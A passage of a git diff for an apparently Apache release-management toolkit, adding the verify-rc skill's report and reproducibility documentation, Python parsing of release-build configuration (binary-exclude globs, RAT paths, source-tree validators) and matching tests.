RAT configuration path; + `§ Source archive` and `§ Reproducibility checks` for Step 9 + (both optional — absent keys mean the defaults `git-archive` / `reproducibility_source: on` / `reproducibility_binaries: off`). +- **Network reachable** — the staging URL and the `KEYS` file URL must be fetchable. + If either is unreachable, the skill stops at the inventory step and reports `FAIL` with the URL that failed. +- **`gpg` and Python 3.11+** — Steps 1–3, 5–8 and 10 run + [`tools/release-verify`](../../../../tools/release-verify/README.md) + (stdlib only; without `uv`, run + `python3 /tools/release-verify/src/release_verify/__init__.py`); + every step's configuration, classification and report render runs + [`tools/release-management`](../../../../tools/release-management/README.md#verify-rc) + (`release-management verify-rc`, stdlib only, runs nothing). +- **A clone of `` reachable** for Step 9 — + the resolved `user.md` local clone path, or a fresh `git clone` the recipe emits. + The rebuild happens in the voter's checkout, on the voter's machine. diff --git a/plugins/magpie-release-management/skills/verify-rc/references.md b/plugins/magpie-release-management/skills/verify-rc/references.md new file mode 100644 index 000000000..bb73fd680 --- /dev/null +++ b/plugins/magpie-release-management/skills/verify-rc/references.md @@ -0,0 +1,60 @@ + + +# release-verify-rc — references + +This skill composes with: + +- `release-vote-draft` (proposed) — downstream step; + a PASS result here is the expected prerequisite before the `[VOTE]` thread is opened. +- `release-vote-tally` (proposed) — further downstream; + tallies the vote responses after the `[VOTE]` thread closes. +- `release-announce-draft` — lands after the vote passes and the RC is promoted. + +Sources: + +- [`docs/release-management/process.md`](../../../../docs/release-management/process.md) — + Step 6 context. +- [`docs/release-management/spec.md`](../../../../docs/release-management/spec.md) — + `release-verify-rc` per-skill specification. +- [`/release-management-config.md`](../../../magpie-setup/templates/release-management-config.md) — + adopter keys this skill reads (`keys_file_url`, `keyserver`, + `release_dist_url_template`, `version_manifest_files`). +- [`/release-build.md`](../../../magpie-setup/templates/release-build.md) — + expected artefact list, digest set, binary-exclude list, RAT config, + `§ Source archive`, `§ Reproducibility checks`. +- [`docs/release-management/reproducibility.md`](../../../../docs/release-management/reproducibility.md) — + Step 9 background: the source-archive contract, the reproducibility + checks, and the 🪶 ASF-specific automated-signing validation. +- [`tools/release-verify`](../../../../tools/release-verify/README.md) — + the Steps 1–3, 5–8 and 10 checks and their JSON. +- [`tools/release-management`](../../../../tools/release-management/README.md#verify-rc) — + `release-management verify-rc`: the `release-verify` arguments from `release-build.md`, + the Step 4, 6b, 6c, 7 and 9 classifications and the Step 10 report and attestation. +- [`tools/reproducible-archive`](../../../../tools/reproducible-archive/README.md) — + `repro-archive check` / `build` / `compare`. +- [`tools/maven-artifact-verify`](../../../../tools/maven-artifact-verify/README.md) — + the JVM-artefact checker behind Step 6b (blocking checks 1–3 of + [issue #1173](https://github.com/apache/magpie/issues/1173)). +- [`tools/asf-nexus`](../../../../tools/asf-nexus/README.md) — the + read-only Nexus staging-repository adapter behind Step 6c (check 4 + of [issue #1173](https://github.com/apache/magpie/issues/1173)): + endpoint contract, recipes, classification rules. +- [ASF publishing Maven release artifacts](https://infra.apache.org/publishing-maven-artifacts.html) — + the stage / close / vote / promote workflow behind Step 6c. +- [ASF Incubator distribution guidelines § Maven distribution](https://incubator.apache.org/guides/distribution.html) — + the policy behind the Step 6b POM and disclaimer checks. +- [Maven Central publishing requirements](https://central.sonatype.org/publish/requirements/) — + the mandatory sources/javadoc companions behind Step 6b check 3. +- [reproducible-builds.org § Archive metadata](https://reproducible-builds.org/docs/archives/) — + the rules `repro-archive check` verifies. +- `release-keys-sync` (proposed) — remediation path when a signing + key is not yet in the project `KEYS` file. +- `release-vote-draft` (proposed) — downstream step; opens the + `[VOTE]` thread after this skill reports `PASS`. +- [Apache RAT](https://creadur.apache.org/rat/) — licence-header + checking tool. +- [ASF release distribution](https://infra.apache.org/release-distribution.html) — + binary and digest requirements. +- [ASF release policy § release approval](https://www.apache.org/legal/release-policy.html#release-approval) — + voter obligation reminder. diff --git a/plugins/magpie-release-management/skills/verify-rc/report.md b/plugins/magpie-release-management/skills/verify-rc/report.md new file mode 100644 index 000000000..04fee9c20 --- /dev/null +++ b/plugins/magpie-release-management/skills/verify-rc/report.md @@ -0,0 +1,45 @@ + + +# Step 10 — Hand-back verification report + +Aggregate the per-step results into a final report. +`` is `uv run --project /tools/release-management release-management verify-rc --load /verify-rc-load.json`, as in SKILL.md. + +**Overall verdict.** Compute it with the tool, not by hand. +Pass the JSON result of every step, Step 6b's included when it ran, +plus the status of each step the tool does not decide: Step 4, Step 9, Step 6c (🪶 when it ran), and any +`REVIEW` resolved in Steps 5 and 7. + +```bash +uv run --project /tools/release-verify release-verify verdict .json … \ + --status rat-license-headers= --status reproducibility= \ + [--status nexus-staging=] [--status notice-license=] [--status source-tree-integrity=] +``` + +`overall` is `FAIL` if any step fails, else `PASS-WITH-WARNINGS` if any warns, else `PASS`. +`SKIP` is neutral — it neither passes nor warns — and `skip_steps` lists every skipped step; name each one in the report. +A tool-computed status is final (`ignored_overrides` lists attempts to change one); +`overall: null` means a step is still `unresolved`. + +**Report.** Render it with one-line `--finding =` per step (the reason for each skipped one), +and one `--fail-detail` / `--warn-detail` per failing / warning step naming the exact file or check and the RM remediation or review requirement: + +```bash + report --verdict [--repro --compare ] \ + --finding = … [--fail-detail ""]… [--warn-detail ""]… \ + [--post-to ] [--trusted-hardware --committer ] +``` + +`text` is the report: header (RC, staging URL, UTC timestamp), the voter-obligation reminder, the per-step table, FAIL and WARN detail, +the overall verdict, and the reproducibility record (Step 9's verdict, commit, `SOURCE_DATE_EPOCH`, the rebuilt source sha512, each convenience artefact's result), +so another voter can cross-check without rerunning. +The voter-obligation reminder and the trusted-hardware attestation block are SKILL.md's Step 10 text, verbatim; +the command decides whether the attestation applies (`reproducibility_attestation`, and `attestation_withheld_because` when it does not) and never posts. + +Return ONLY the command's JSON without `text` and `attestation_withheld_because`: +`step` (`report`), `rc_tag`, `verification_utc`, `overall` (`PASS` | `PASS-WITH-WARNINGS` | `FAIL`), +`voter_obligation_reminder` (always `true`: the reminder was included), +`step_summary[]` of `step`, `status` (`PASS` | `WARN` | `FAIL` | `SKIP`) and `finding`, `fail_details`, `warn_details`, +`reproducibility_attestation` (`true` only when the attestation block is in `post_to_comment`), +and `post_to_comment` (non-null only when `--post-to` was supplied and the RM has not yet confirmed posting). diff --git a/plugins/magpie-release-management/skills/verify-rc/reproducibility.md b/plugins/magpie-release-management/skills/verify-rc/reproducibility.md index 4bf220740..066146486 100644 --- a/plugins/magpie-release-management/skills/verify-rc/reproducibility.md +++ b/plugins/magpie-release-management/skills/verify-rc/reproducibility.md @@ -4,8 +4,7 @@ # Step 9 — Reproducibility checks (optional) Confirm the staged artefacts are a function of the tag alone. -Read `release-build.md § Source archive` and `§ Reproducibility checks`, -and the reproducibility record `release-rc-cut` left on the planning issue (source commit, `SOURCE_DATE_EPOCH`, sha512, format, prefix). +Read the reproducibility record `release-rc-cut` left on the planning issue (source commit, `SOURCE_DATE_EPOCH`, sha512, format, prefix, and the `swh:1:dir:`). Background and the rule-by-rule mapping: [`docs/release-management/reproducibility.md`](../../../../docs/release-management/reproducibility.md). @@ -17,76 +16,52 @@ this run *is* the validation on trusted hardware that [Infra § Automated release signing](https://infra.apache.org/release-signing.html#automated-release-signing) requires before publication, and the bar is byte-identical. -**Source.** Emit the paste-ready recipe -(`` is `.apache-magpie` in an adopting project, `.` in the framework checkout; -`python3 /tools/reproducible-archive/src/reproducible_archive/__init__.py` works without `uv`): +**Run.** One command decides whether the step runs, renders the recipe, and rolls the results up +(`` as in SKILL.md): ```bash -# 1. The tag resolves to the commit recorded on the planning issue -git -C fetch --tags -git -C rev-parse "^{commit}" # expect: -git -C tag -v "" # signed tag verifies against KEYS + repro [--skip-repro] [--trusted-hardware] --upstream-clone --remote --staged-dir +``` -# 2. The staged archive satisfies every reproducible-builds.org rule, and its -# content is the recorded tree (the swh:1:dir: on the planning issue — and, -# under ATR, the SWHID the candidate page shows) -uv run --project /tools/reproducible-archive repro-archive check \ - "" --epoch "" \ - --swhid "" +Its `paste_recipe` resolves every placeholder but the recorded values: +the tag check (`git rev-parse "^{commit}"`, `git tag -v`), `repro-archive check --json` against the recorded epoch and `swh:1:dir:`, +the rebuild (`repro-archive build` at the tag with the recorded epoch, prefix and format, or the adopter's `build_command` under `source_archive_method: custom`), +`repro-archive compare --json` (`--require-identical` under automated signing), +and one rebuild-and-compare per convenience artefact by its own `reproducibility` mode +(`release-build.md § Convenience artefacts`, project-specific: a registry-staged image is pulled by digest — say which digest was pulled). +Run it on the voter's own machine, save each JSON, and re-run the command with the results: -# 3. Rebuild from the tag with the recorded epoch, prefix and format, then compare -uv run --project /tools/reproducible-archive repro-archive build \ - --repo --ref "" --format \ - --prefix "" --epoch "" \ - -o rebuilt/ -uv run --project /tools/reproducible-archive repro-archive compare \ - "" rebuilt/ # add --require-identical under automated signing +```bash + repro … --recorded-commit --tag-commit --epoch \ + [--recorded-swhid ] [--atr-swhid ] --check --compare \ + [--binary =identical|differs|known:]… ``` -With `source_archive_method: custom`, step 3 re-runs the adopter's `build_command` at the tag under the recorded `SOURCE_DATE_EPOCH` -and compares its output the same way. +The rules it applies: -Classify the source result: - -| `compare` verdict | RM-key mode | `automated_release_signing: enabled` | +| Source result | RM-key mode | `automated_release_signing: enabled` | |---|---|---| | `identical` | `PASS` | `PASS` | -| `content-identical` (same members and bytes, archive metadata differs) | `WARN` — the RM did not build with `repro-archive build`; note the metadata differences | `FAIL` — the policy requires bit-by-bit identity | +| `content-identical` (same members and bytes, archive metadata differs) | `WARN` — the RM did not build with `repro-archive build` | `FAIL` — the policy requires bit-by-bit identity | | `differs` (members added / removed / changed) | `FAIL` — the artefact is not the tagged tree | `FAIL` | -| tag commit ≠ recorded commit | `FAIL` — the tag moved | `FAIL` | -| content `swh:1:dir:` ≠ recorded (or ≠ ATR's) | `FAIL` — the staged tree is not the recorded one, whatever the bytes | `FAIL` | +| tag commit ≠ recorded commit (`verdict: tag-moved`) | `FAIL` — the tag moved | `FAIL` | +| content `swh:1:dir:` ≠ recorded (or ≠ ATR's), qualifiers ignored | `FAIL` — the staged tree is not the recorded one, whatever the bytes | `FAIL` | | `check` reports another rule `FAIL` | `WARN`, listed | `FAIL` | -**Convenience artefacts.** Read `convenience_artefacts` from `release-build.md § Convenience artefacts` -(project-specific; an empty list means `SKIP`, stated explicitly). -For a voter this is the check that decides whether a convenience artefact is *good*: -a binary cannot be reviewed, so the only way to establish that it is what the voted source produces is to rebuild it from the tag and compare. -Per artefact, using its own `reproducibility` mode (default `reproducibility_binaries`): - -- `byte-identical` — rebuild with the entry's `build_command` under the recorded `SOURCE_DATE_EPOCH`, compare with `cmp`; - any difference is `FAIL`. -- `documented-divergence` — rebuild, run the entry's `verification_command` (for example `diffoscope`); - differences that match its `known_divergences` are `WARN` and listed, any other difference is `FAIL`. -- `off` — `SKIP` for that artefact, stated explicitly with the note that it is being published on trust. - -```bash -export SOURCE_DATE_EPOCH="" -git -C checkout "" -# one block per convenience artefact, its build_command verbatim: -( cd && ) -cmp "/" "//" \ - && echo "identical: " || echo "DIFFERS: " -# documented-divergence entries instead: - "/" "//" -``` - -Container images and other registry-staged kinds (`staging: registry-staging`) are pulled by digest from the staging registry -and compared the same way against the local rebuild; say which digest was pulled. +Per convenience artefact, by its own mode: `byte-identical` — any difference is `FAIL`; +`documented-divergence` — a difference matching its `known_divergences` is `WARN` and listed, any other is `FAIL`; +`off` — `SKIP` for that artefact, stated with the note that it is being published on trust. +For a voter this is the check that decides whether a convenience artefact is *good*: a binary cannot be reviewed, only rebuilt from the tag and compared. Do not post-filter any output; the voter sees every difference. -Never report a verdict the commands did not produce. +Never report a verdict the commands did not produce: until every result is in, `status` is `null` and `pending` names what is missing. +`mandatory` is `true` only under `automated_release_signing: enabled`; `binaries.mode` is the strictest mode in use. +`trusted_hardware_asserted` mirrors `--trusted-hardware`; the skill never sets it on its own. +`binaries.differs` names every convenience artefact that did not reproduce — +`release-promote` reads this list and withholds the publish command for each of them. +`swhid_matches` is `null` when the planning issue recorded no SWHID — then the report states the computed value (in `notes`) so the RM can add it. -Return ONLY valid JSON with this structure: +Return ONLY valid JSON with this structure (the command's output without `findings`, `notes` and `pending`): ```json { @@ -114,14 +89,3 @@ Return ONLY valid JSON with this structure: "paste_recipe": "" } ``` - -`status` is `"FAIL"` per the table above, `"WARN"` when only warnings occurred, -`"SKIP"` when nothing was enabled or `--skip-repro` applied, else `"PASS"`. -`mandatory` is `true` only under `automated_release_signing: enabled`. -`trusted_hardware_asserted` mirrors `--trusted-hardware`; the skill never sets it on its own. -`binaries.mode` is the mode applied (when entries differ, the strictest one in use); -`binaries.differs` names every convenience artefact that did not reproduce — -`release-promote` reads this list and withholds the publish command for each of them. -`swhid_matches` is `true` when the staged archive's `swh:1:dir:` equals the recorded one (qualifiers ignored), -`false` when it does not (a `FAIL`), -`null` when the planning issue recorded no SWHID — then the report states the computed value so the RM can add it. diff --git a/tools/release-config/README.md b/tools/release-config/README.md index 8ecdaf928..8a70fbfe5 100644 --- a/tools/release-config/README.md +++ b/tools/release-config/README.md @@ -68,6 +68,7 @@ uv run --project /tools/release-config release-config load --skill pr Prints `sources` (which file each config came from), `config` (the `release-management-config.md` keys with defaults applied), `build` (`release-build.md`: build command, expected artefacts, digest set, source-archive and reproducibility keys, convenience artefacts), `derived` (`signing_mode`, `is_asf`, `non_asf`, `automated_signing_offered` and the file that decided it, `approver_roster_path`, `release_lines`) and, with `--skill`, `metadata` — the config-derived fields of that skill's Step 1 table under the names the table uses. For `promote`, `metadata.convenience` splits the convenience artefacts into `publish` (verify-rc reported `identical` or `warn`) and `held` (`differs`, or no result). +For `verify-rc`, `metadata` carries everything the [`release-management verify-rc`](../release-management/README.md#verify-rc) commands need: each expected artefact with `required` (`false` when its attributes say `optional`), the extra prohibited globs and accepted exceptions of `§ Binary-exclude list`, the RAT config and excludes paths of `§ Apache RAT configuration`, `source_tree_validators`, the `§ JVM artefact checks` keys, and the source-archive and reproducibility keys. ## What it reads diff --git a/tools/release-config/src/release_config/config.py b/tools/release-config/src/release_config/config.py index 0d813d850..16d72a562 100644 --- a/tools/release-config/src/release_config/config.py +++ b/tools/release-config/src/release_config/config.py @@ -62,6 +62,13 @@ class BuildConfig: digest_set: list[str] = field(default_factory=list) convenience_artefacts: list[dict[str, Any]] = field(default_factory=list) template_example_skipped: bool = False + # verify-rc: the free-form sections, parsed once here rather than read by the agent. + optional_artefacts: list[str] = field(default_factory=list) + binary_prohibit: list[str] = field(default_factory=list) + binary_accept: list[str] = field(default_factory=list) + rat_config_path: str | None = None + rat_excludes_path: str | None = None + source_tree_validators: list[str] = field(default_factory=list) def value(self, key: str, default: Any = None) -> Any: value = self.table.get(key) @@ -111,6 +118,97 @@ def _expected_artefacts(block: str | None) -> list[dict[str, str]]: return out +#: Step 6's fixed baseline: a backticked baseline entry in § Binary-exclude list is prose, not an extra glob. +BINARY_BASELINE = frozenset( + {".class", ".jar", ".so", ".dylib", ".dll", ".exe", ".pyc", "__pycache__", "*.class", "*.jar", "*.so", "*.dylib", "*.dll", "*.exe", "*.pyc"} +) + + +def _tokens_with_tails(block: str | None) -> list[tuple[str, str, str]]: + """(text before, token, text after up to the next token) for every backticked token of `block`.""" + if not block: + return [] + spans = [(m.start(), m.end(), m.group(1).strip()) for m in re.finditer(r"`([^`]+)`", block)] + out: list[tuple[str, str, str]] = [] + for index, (start, end, token) in enumerate(spans): + before = block[spans[index - 1][1] if index else 0 : start] + after = block[end : spans[index + 1][0] if index + 1 < len(spans) else len(block)] + out.append((before, token, after)) + return out + + +def _optional_artefacts(block: str | None) -> list[str]: + """Expected-artefact names whose own attributes say `optional`; unmarked entries are required.""" + names = {a["name"] for a in _expected_artefacts(block)} + out: list[str] = [] + for _, token, after in _tokens_with_tails(block): + if token in names and re.search(r"\boptional\b", after, re.IGNORECASE): + out.append(token) + return out + + +def _binary_exclude(block: str | None) -> tuple[list[str], list[str]]: + """§ Binary-exclude list → (extra prohibited globs, known-accepted exceptions). + + A backticked path or glob is an exception when the words after it say + `accepted` / `exception`, else an extra prohibited glob. Baseline entries + named in prose are already scanned and are not repeated. + """ + prohibit: list[str] = [] + accept: list[str] = [] + for _, token, after in _tokens_with_tails(block): + if " " in token or token in BINARY_BASELINE or not re.search(r"[./*]", token): + continue + target = accept if re.search(r"\baccept|\bexception", after, re.IGNORECASE) else prohibit + if token not in target: + target.append(token) + return prohibit, accept + + +def _rat_paths(block: str | None) -> tuple[str | None, str | None]: + """§ Apache RAT configuration → (RAT config path, RAT excludes path). + + The excludes path is the first backticked token the words before it call + an exclude (`excludes file:`, `with excludes in`); the config path is the + first other one. + """ + config: str | None = None + excludes: str | None = None + for before, token, _ in _tokens_with_tails(block): + if excludes is None and re.search(r"exclude", before, re.IGNORECASE): + excludes = token + elif config is None: + config = token + return config, excludes + + +def _validators(table: dict[str, Any], lines: list[str] | None) -> list[str]: + """`source_tree_validators`: a table row, else a YAML list in the section's first unquoted fence.""" + value = table.get("source_tree_validators") + if isinstance(value, list): + return [str(v) for v in value] + if isinstance(value, str) and value: + return [value] + fence = md.first_fence(lines) + if not fence: + return [] + out: list[str] = [] + inside = False + for raw in fence.splitlines(): + stripped = raw.strip() + if re.fullmatch(r"source_tree_validators:\s*(\[\])?", stripped): + inside = True + continue + if inside and stripped.startswith("- "): + item = stripped[2:].strip() + if len(item) >= 2 and item[0] == item[-1] and item[0] in "\"'": + item = item[1:-1] + out.append(item) + elif inside and stripped and not stripped.startswith("#"): + break + return out + + def load_build(text: str | None) -> BuildConfig: if text is None: return BuildConfig(found=False) @@ -124,6 +222,7 @@ def load_build(text: str | None) -> BuildConfig: "reproducibility_checks": "Reproducibility checks", "binary_exclude": "Binary-exclude", "rat_configuration": "RAT configuration", + "source_tree_validators": "Source-tree validators", } sections = {key: md.section_lines(text, title) for key, title in names.items()} build.sections = {key: lines is not None for key, lines in sections.items()} @@ -147,6 +246,12 @@ def load_build(text: str | None) -> BuildConfig: tokens = md.backtick_tokens(md.first_text_block(sections["digest_set"])) build.digest_set = [t.lower() for t in tokens if _DIGEST.match(t)] + if not build.table.get("expected_artefacts"): + build.optional_artefacts = _optional_artefacts(md.first_text_block(sections["expected_artefacts"])) + build.binary_prohibit, build.binary_accept = _binary_exclude(md.first_text_block(sections["binary_exclude"])) + build.rat_config_path, build.rat_excludes_path = _rat_paths(md.first_text_block(sections["rat_configuration"])) + build.source_tree_validators = _validators(build.table, sections["source_tree_validators"]) + fence = md.first_fence(sections["convenience_artefacts"], "yaml") entries = md.parse_yaml_list(fence, "convenience_artefacts") if fence else None for entry in entries or []: diff --git a/tools/release-config/src/release_config/preflight.py b/tools/release-config/src/release_config/preflight.py index 0d36212f7..0ef5bf8da 100644 --- a/tools/release-config/src/release_config/preflight.py +++ b/tools/release-config/src/release_config/preflight.py @@ -636,6 +636,14 @@ def _convenience_split(cfg: Loaded, version: str | None, verify: list[str]) -> d return {"publish": publish, "held": held} +def _digest_list(value: Any) -> list[str]: + """A table digest cell (`sha512` or `sha512` `sha256`, or `sha512, sha256`) as a list; unset → [].""" + if not value: + return [] + items = value if isinstance(value, list) else str(value).split(",") + return [str(d).strip().lower() for d in items if str(d).strip()] + + def metadata(skill: str | None, cfg: Loaded, args: argparse.Namespace) -> dict[str, Any]: """The config-derived Step 1 fields of a skill, named as its Step 1 table names them.""" if skill is None: @@ -712,4 +720,35 @@ def metadata(skill: str | None, cfg: Loaded, args: argparse.Namespace) -> dict[s "git_upstream_remote": cfg.get("git_upstream_remote"), "convenience": _convenience_split(cfg, version, args.verify_binary or []), } + if skill == "verify-rc": + optional = set(build.optional_artefacts) + return common | { + "rc": rc, + "rc_tag": f"{version}-{rc}" if version and rc else None, + "organization": cfg.organization, + "staging_url": _staging_url(cfg, version, rc), + "target_url": _target_url(cfg, version), + "keys_file_url": cfg.raw.get("keys_file_url"), + "keyserver": cfg.get("keyserver"), + "version_manifest_files": cfg.raw.get("version_manifest_files") or [], + "expected_artefacts": [ + {"name": _render(a["name"], version, rc), "kind": a["kind"], "required": a["name"] not in optional} for a in build.expected_artefacts + ], + "digest_set": build.digest_set, + "binary_prohibit": build.binary_prohibit, + "binary_accept": build.binary_accept, + "rat_config_path": build.rat_config_path, + "rat_excludes_path": build.rat_excludes_path, + "source_tree_validators": build.source_tree_validators, + "jvm_artefact_checks": str(build.value("jvm_artefact_checks", "on")), + "jvm_companion_location": build.value("jvm_companion_location"), + "jvm_digest_set": _digest_list(build.value("jvm_digest_set")), + "nexus_staging_repo": build.value("nexus_staging_repo"), + "source_archive_method": build.source_archive_method, + "source_archive_format": build.as_dict()["source_archive_format"], + "source_archive_prefix": _render(build.value("source_archive_prefix"), version), + "reproducibility_source": build.reproducibility_source, + "reproducibility_binaries": build.reproducibility_binaries, + "build_command": build.build_command, + } return common | {"rc": rc, "staging_url": _staging_url(cfg, version, rc), "target_url": _target_url(cfg, version)} diff --git a/tools/release-config/tests/test_load.py b/tools/release-config/tests/test_load.py index 2caf0e5f5..f4d23d458 100644 --- a/tools/release-config/tests/test_load.py +++ b/tools/release-config/tests/test_load.py @@ -313,3 +313,92 @@ def test_main_prints_json(project, capsys): def test_unknown_skill_is_usage_error(project): with pytest.raises(SystemExit): cli.run(["preflight", "--project-root", str(project()), "--skill", "nope"]) + + +BUILD_VERIFY = """\ +# Apache Foo: release-build configuration + +## Source-tree validators + +```yaml +source_tree_validators: + - "uv run --project tools/symlink-lint symlink-lint ." + - "make check-links" +``` + +## Expected artefact list + +- `apache-foo--source-release.zip`, canonical source artefact (required, signed, checksummed). +- `apache-foo--bin.tar.gz`, convenience binary (optional, signed, checksummed). + +## Digest set + +- `sha512`, required. + +## JVM artefact checks + +| Key | Value | Notes | +|---|---|---| +| `jvm_artefact_checks` | `on` | | +| `jvm_companion_location` | `staged` | | +| `jvm_digest_set` | `sha512` `sha1` | | +| `nexus_staging_repo` | `orgapachefoo-1024` | | + +## Binary-exclude list + +- `assets/vendor/**/*.min.js` — additional prohibited glob (vendored minified JS). +- `third-party/some-native.so` — known-accepted exception (ships with a documented source counterpart). + +The baseline (`.class`, `.jar`, `.pyc`) is always scanned. + +## Apache RAT configuration + +- **RAT plugin config:** `pom.xml § rat-maven-plugin`. +- **RAT excludes file:** `rat-excludes.txt`. +""" + + +def test_verify_rc_metadata(project, load): + meta = load(project(build=BUILD_VERIFY), "verify-rc", "1.1.0-rc2")["metadata"] + assert meta["rc_tag"] == "1.1.0-rc2" + assert meta["organization"] == "ASF" + assert meta["staging_url"] == "https://dist.apache.org/repos/dist/dev/foo/1.1.0-rc2/" + assert meta["keys_file_url"] == "https://dist.apache.org/repos/dist/release/foo/KEYS" + assert meta["version_manifest_files"] == ["setup.cfg", "foo/__init__.py"] + assert meta["expected_artefacts"] == [ + {"name": "apache-foo-1.1.0-source-release.zip", "kind": "source", "required": True}, + {"name": "apache-foo-1.1.0-bin.tar.gz", "kind": "convenience", "required": False}, + ] + assert meta["binary_prohibit"] == ["assets/vendor/**/*.min.js"] + assert meta["binary_accept"] == ["third-party/some-native.so"] + assert meta["rat_config_path"] == "pom.xml § rat-maven-plugin" + assert meta["rat_excludes_path"] == "rat-excludes.txt" + assert meta["source_tree_validators"] == ["uv run --project tools/symlink-lint symlink-lint .", "make check-links"] + assert meta["jvm_artefact_checks"] == "on" + assert meta["jvm_companion_location"] == "staged" + assert meta["jvm_digest_set"] == ["sha512", "sha1"] + assert meta["nexus_staging_repo"] == "orgapachefoo-1024" + + +def test_verify_rc_metadata_source_only_defaults(project, load): + meta = load(project(), "verify-rc", "1.1.0-rc1")["metadata"] + assert meta["expected_artefacts"] == [{"name": "apache-foo-1.1.0-source.tar.gz", "kind": "source", "required": True}] + assert meta["binary_prohibit"] == [] and meta["binary_accept"] == [] + assert meta["rat_config_path"] is None + assert meta["rat_excludes_path"] == ".rat-excludes" + assert meta["source_tree_validators"] == [] + assert meta["jvm_artefact_checks"] == "on" + assert meta["jvm_digest_set"] == [] and meta["nexus_staging_repo"] is None + assert meta["reproducibility_source"] == "on" + + +def test_verify_rc_rat_prose_form(): + build = load_build("## Apache RAT configuration\n\nRAT runs in CI (`.github/workflows/rat.yml`) with excludes in\n`.rat-excludes` at the repo root.\n") + assert (build.rat_config_path, build.rat_excludes_path) == (".github/workflows/rat.yml", ".rat-excludes") + + +def test_verify_rc_template_sections_parse_empty(): + build = load_build((TEMPLATES / "release-build.md").read_text(encoding="utf-8")) + assert build.binary_prohibit == [] and build.binary_accept == [] + assert build.source_tree_validators == [] + assert build.optional_artefacts == [] diff --git a/tools/release-management/README.md b/tools/release-management/README.md index b3db147f4..edd64d746 100644 --- a/tools/release-management/README.md +++ b/tools/release-management/README.md @@ -10,6 +10,7 @@ - [How to use](#how-to-use) - [Commands](#commands) - [`rc-cut`](#rc-cut) + - [`verify-rc`](#verify-rc) - [Tests](#tests) @@ -26,7 +27,8 @@ The deterministic core of the `release-management` skills. [`release-config`](../release-config/README.md) resolves the configuration and runs each skill's Step 0; this tool takes what `release-config load` printed and renders everything the skill hands the release manager: -paste-ready command blocks, mail drafts, planning-issue comments. +paste-ready command blocks, mail drafts, planning-issue comments; +for `release-verify-rc` it also classifies the output of each check the voter ran. The agent presents the output and keeps only the judgement; the release manager runs every command on their own machine. **It runs nothing.** @@ -73,10 +75,27 @@ Refusals, in code rather than prose: - **MD5 / SHA-1** — a `digest_set` naming either is refused. - **Unconfigured backends** — `self-hosted` without `release_publish_command_template`, an unknown backend, or Step 3 under `ci-automated`. +### `verify-rc` + +Every command takes `--load ` (what `release-config load --skill verify-rc -rcN` printed) except `source-tree`, +and reads the files the agent saved from a check's own run: a tool's JSON, RAT's output, the Nexus probe output. +It never runs `gpg`, `curl`, RAT, a rebuild or any other check. +Until it has every input a step needs, it prints `status: null` and `pending`, naming what is missing. + +| Command | Prints | +|---|---| +| `args [--staging-copy D] [--keys-file F] [--unpacked-dir D] [--previous-dir D]` | `commands`: the `release-verify` invocation of each of Steps 1–3 and 5–8 and `all`, one `--expect` per required and `--expect-optional` per optional expected artefact (in order), `--digest` (sha512 always, sha256 when listed; md5 never), `--prohibit` / `--accept` from the Binary-exclude list, `--validator`, `--manifest`; plus `unpacked_dir`. | +| `rat [--exit-code N] [--report F]` | Step 4: `paste_recipe` from the RAT config and excludes paths; `PASS` on exit 0 with nothing listed, `FAIL` on a non-zero exit or any `unapproved_files` (parsed from `!?????` lines and the `Files with unapproved licenses:` block); `SKIP` with `status: WARN` when no RAT configuration is declared. | +| `source-tree --symlinks F --validator-result CODE[:DETAIL]…` | Step 7: a `release-verify symlinks` `REVIEW` resolved from each validator's exit code (any non-zero → one `validator_failures` entry, `FAIL`); a tool `FAIL` / `PASS` / `SKIP` is final. | +| `jvm --inventory F [--staged-dir D] [--tree D] [--report F]` | Step 6b: `SKIP` without a `.jar` / `.pom` or under `jvm_artefact_checks: off`; the `maven-artifact-verify` recipe (`--digests` from `jvm_digest_set`, else the digest set; `--podling` only when `DISCLAIMER` / `DISCLAIMER-WIP` sits at the tree root); with `--report`, the step's JSON: findings for every non-passing check, `ABSENT` a `FAIL` only under `jvm_companion_location: staged`, observations that never change the status, and one `gpg --verify` per companion whose `.asc` is staged. | +| `nexus --inventory F [--issue-body F] [--rm-credentials] [--not-probed \| --existence-code N] [--state F] [--profile F] [--crawl F]` | Step 6c: the gates (JVM artefacts, checks on, organization `ASF`, a resolvable id), the id-shape check (`^orgapache[a-z0-9]+-[0-9]+$` or `snapshots`, else a `SKIP` naming the value — the id is spliced into `curl` URLs), the read-only recipe (anonymous existence and crawl; the `--netrc-file` state and profile reads only with `--rm-credentials`), and the classification: `404` not reachable, `open`, snapshots, version mismatch, missing `.asc`, incomplete companion set (`packaging=pom` exempt) as `FAIL`; `STATE-UNVERIFIED` (no credentials, a refused probe, any other code) and stale siblings as `WARN`. | +| `repro [--skip-repro] [--trusted-hardware] [--recorded-commit] [--tag-commit] [--recorded-swhid] [--atr-swhid] [--epoch] [--check F] [--compare F] [--binary NAME=identical\|differs\|known:P]…` | Step 9: whether it runs (`mandatory` under `ci-automated`, where `--skip-repro` is ignored), the recipe, and the roll-up: the source table (RM-key vs automated signing), the SWHID compared without qualifiers, each convenience artefact by its own mode, `binaries.differs` for `release-promote`. | +| `report --verdict F [--repro F] [--compare F] [--post-to URL] [--trusted-hardware] [--committer H] [--finding S=T]… [--fail-detail T]… [--warn-detail T]…` | Step 10: the report text (with the voter-obligation reminder), and with `--post-to` the comment to propose, carrying the *Reproducibility validated on trusted hardware* attestation only under `ci-automated`, Step 9 `PASS` with every artefact identical, and `--trusted-hardware`. The overall verdict is `release-verify verdict`'s; an unresolved one is refused. | + ## Tests ```bash uv run --project tools/release-management pytest ``` -The scripted cases of the retired model-graded `release-rc-cut` suites live in `tests/test_rc_cut.py`, named after each former case. +The scripted cases of the retired model-graded `release-rc-cut` suites live in `tests/test_rc_cut.py`, and those of `release-verify-rc` in `tests/test_verify_rc.py`, named after each former case. diff --git a/tools/release-management/src/release_management/verify_rc/__init__.py b/tools/release-management/src/release_management/verify_rc/__init__.py new file mode 100644 index 000000000..ee978c8d8 --- /dev/null +++ b/tools/release-management/src/release_management/verify_rc/__init__.py @@ -0,0 +1,17 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. 